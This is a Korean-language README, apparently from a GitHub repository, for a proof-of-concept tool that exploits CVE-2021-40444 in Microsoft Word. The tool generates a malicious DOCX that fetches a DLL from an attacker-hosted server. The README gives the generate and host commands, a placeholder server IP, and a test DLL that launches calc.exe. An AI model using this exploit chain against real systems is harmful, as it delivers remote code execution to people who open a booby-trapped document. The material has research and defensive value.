w1kyri3/exploit-poc-cve-2021-40444-inject-ma-doc-vao-docxCVE-2021-40444을 악용하여 악성 DOCX 파일을 생성하고, 조작된 Office 문서를 통해 원격 코드 실행을 달성하며, 페이로드 전달을 위한 통합 호스팅 서버를 포함합니다.
CVE-2021-40444 (Microsoft Office Word 원격 코드 실행)을 악용하는 악성 docx 생성기
이 스크립트는 실제 공격에 사용된 샘플(938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx 파일))에 대한 리버스 엔지니어링을 기반으로 제작되었습니다.
먼저 lcab을 설치해야 합니다 (sudo apt-get install lcab)
수동 재현 절차는 REPRODUCE.md를 확인하세요
생성된 cab이 작동하지 않으면 exploit.html URL을 calc.cab으로 지정해 보세요.
먼저 DLL이 포함된 악성 docx 문서를 생성합니다. test/calc.dll에 있는 DLL을 사용할 수 있는데, 이 DLL은 system() 호출을 통해 calc.exe를 실행합니다.
python3 exploit.py generate test/calc.dll http://<SRV IP>
악성 docx를 생성한 후(out/에 저장됨) 서버를 설정할 수 있습니다:
sudo python3 exploit.py host 80
마지막으로 Windows 가상 머신에서 docx를 실행해 보세요:
